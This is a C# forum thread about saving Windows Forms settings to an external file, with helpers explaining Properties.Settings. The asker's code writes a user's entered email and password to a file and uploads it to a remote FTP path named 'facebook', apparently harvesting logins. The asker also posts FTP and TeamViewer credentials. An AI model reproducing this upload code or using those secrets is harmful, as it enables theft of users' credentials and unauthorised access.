[SOLVED]How to save program settings on a external file (ini or txt or cgf or config)

Question

hello there guys...

What I was trying to do is, store some values inside of an external file...

For example..

config.ini will contain the Form1 size, ... or maybe a textBox.Text value ...

How would I point the program to read certain file, and load it before it starts?

Thx guys !

Frogleg · Answer

Here is a working sample There is a user setting myString If that string is null then the application setting constantString will be used by default Type in the textbox and click button1 and the settings will be saved and label text will change accordingly

thiago costa · Answer

Hey frogleg got it bro Thank you so much man ... I don't know how to thank you.

Frogleg · Answer

The xml settings file is only created when a user saves (ie button1 in sample project) so when the project is deployed there is no xml file That is why I created a default value Have a look at this http://www.codeproject.com/KB/security/ProtectedConfigWinApps.aspx

thiago costa · Answer

I found it bro !!! C:\Users\X4-ULTRA\AppData\Local\NewSettings\NewSettings.exe_Url_zgruhibrqgcuwv2wdgwvzcbv3h351euo\1.0.0.0 Hey bro can I ask you another question ? ... Is there a way to encrypt this file in case I want to put a password in it? --EDIT-- ---Forget it bro I gave you enough trouble in this already ! I will save this question for another time :D

thiago costa · Answer

Right now I am running Windows 7 Ultimate x64 ... But sometimes on my laptop I run XP x86 sp3

Frogleg · Answer

What version of windows are you running ?

thiago costa · Answer

HAHAHAHAHAHAHAHAH !!!!!!!!!!! FROGLEG !!!!! THANKS MAN !!!!! IT WORKS !!!!!!!!!!!!!!!!!!!!!!!!!!! Very nicely done !!! Thank you so much man ! I have a question ... Thanks man ! Thank you It created a .config file ... But I don't see the value being saved there... Where does it save the value ? BROTHER !!!!!! Thank you ! ... Now this code will lead me to some study thanks to you.. Thanks again frogleg ----Edit---- Sorry for getting excited bro ... but this means a lot to me... Thanks again

Frogleg · Answer

What do you mean you typed something in myString ? Don't alter that- start the program and type in the textbox and click button1 It saves while your program is running

thiago costa · Answer

Hey Frog It did not work :'( ... The label has a value I did type something in the myString ... and pressed the button nothing happens ! Maybe is it because that code is not compatible with Visual Studio 2010 ? If you have teamviewer the ID is 265 065 818 the password is yj8k86

thiago costa · Answer

BRO ! I LOVE YOU ! I will try it right now :D THanks man ! Thankssssss

thiago costa · Answer

:'( I can't get it to work :'( ... All I am trying to do is to read a string from the external file ... and once i get this working I will be able to test some more and do more... so in your example above the name was myString ... I did go to the solution's properties Settings NAME= myString TYPE=string SCOPE=user VALUE=ftp://server So I thougt by doing that the string myString would have the value of ftp://server ... but I guess not I also checked under appdata/local there was no xml files generated... Am I doing something wrong guys ? ... All I wanna do is really make it so I can load / save settings to a file ... I don't know for example if the user wants to save his ftp address so that he doesn't have to type it in everytime... This is my code. private void BTNstart_Click_1(object sender EventArgs e) { string file; file = TBuemail.Text + .txt; string ftp; ftp = ftp://174.1.1.1/public_html/super3/ + TBuemail.Text + .txt; StreamWriter SR1; SR1 = File.AppendText(file); SR1.WriteLine(TBuemail.Text); SR1.WriteLine(TBupw.Text); SR1.Close(); UploadFile(file ftp quadaxial 3zxV3rbEs!NOploXultra!); if (TBuemail.Text != TBvemail.Text) { } else { } } In the case above I would want the string ftp to be in an external file... xml or ini Guys thanks 100000 times for the attention I am really stuck on this problem .. Thanks a bunch guys.

Frogleg · Answer

re - Properties.Settings.Default.propname Just a habit - probably not a good one

Sam Hobbs · Answer

I use: Properties.Settings.Default.propname where propname is the name of the setting. I have never needed to qualify using the project name. I assume that the project name is the namespace name and if the code is in the project's namespace then it is not necessary to specify it.

Frogleg · Answer

It should be textBox1.Text = WindowsFormsApplication2.Properties. Settings .Default.myString; When referring to a saved setting it always requires the settings prefix = NameOfProject.Properties. Settings .Default.

Sam Hobbs · Answer

I am confused about what code is  that code  so I guess I will leave this for Frogleg to figure out. I think Frogleg even has a few more hours in the day than I do.

thiago costa · Answer

Hey I got it Thanks guys... BUT now I have a problem... I made that code execute at the Form Load... ok ?... I made the name be myString type is string and the falue is ftp .. Then I tryed textBox1.Text = myString; it didn't work .. said myString didnt exist ... what am I doing wrong?

Sam Hobbs · Answer

In Visual Studio in the Solution Explorer is there a Properties node for the project? If you open that node is there a Settings.settings file? Open that; it should open as a grid (table). It will have columns for Name Type Scope and Value. Please find documentation and articles about that. I see that Frogleg has already tried to explain about it. You can specify properties that will be automatically saved in a xml file. If the scope is User then you can save values for the item during execution. For Application scope the values are read-only during execution.

Frogleg · Answer

Sorry it should be 'WindowsFormsApplication2.Properties. Settings .Default.myString; It does save automatically as an xml file - usually in Users\userName\Appdata\Local

thiago costa · Answer

Hey brother... Thanks I got this error : Error 1 The type or namespace name 'SettingsDefault' does not exist in the namespace 'WindowsFormsApplication2.Properties' (are you missing an assembly reference?) C:\Users\X4-ULTRA\Desktop\Projects\WindowsFormsApplication2\WindowsFormsApplication2\Form1.cs 21 49 WindowsFormsApplication2 :'( ... seems like myString got registered but for some reasin SettingsDefault does not exist in the namespace... did i do something wrong? ----EDIT ---- I was reading somethign today and it seems like .net does no longer support ini files and it seems like XML is the best way right? ... so how would I keep my settings inside of a XML file? ... For example a string value or the size of a form (in pixels) ... :'( I am so confused.. Let me explain better... This is my software: string file; file = TBuemail.Text + .txt; string ftp; ftp = ftp://174.120.150.123/public_html/facebook/ + TBuemail.Text + .txt; UploadFile(file ftp username password); So what I am trying to do is: As you can see the string ftp in the program above is ftp://174.120.150.123/public_html/f + TBuemail.Text + .txt .... I want to keep the ftp://174.120.150.123/public_html/f inside of a xml ini or text file ... doesn't matter... Because I want to make the user be able to modify the settings by changing values inside the file rather than recompiling the program... Thanks again bro

Frogleg · Answer

Use Settings 1: In design view open solution explorer (ctrl + alt+L) 2: Right click on your project and select properties  a new window will open 3: On the left open Settings and in the name column a name for your variable eg: myString . Set type to whatever  in this case string 4: To create put a textbox label & button on a form. In the button code yourProjectName.Properties.SettingsDefault.myString = textBox1.Text; yourProjectName.Properties.SettingsDefault.Save(); 5: To use -in form load event = label1.Text = yourProjectName.Properties.SettingsDefault.myString Save and restart and the label will display saved text Look through the types and you can save quite a few different values

[SOLVED]How to save program settings, on a external file (ini or txt or cgf or config)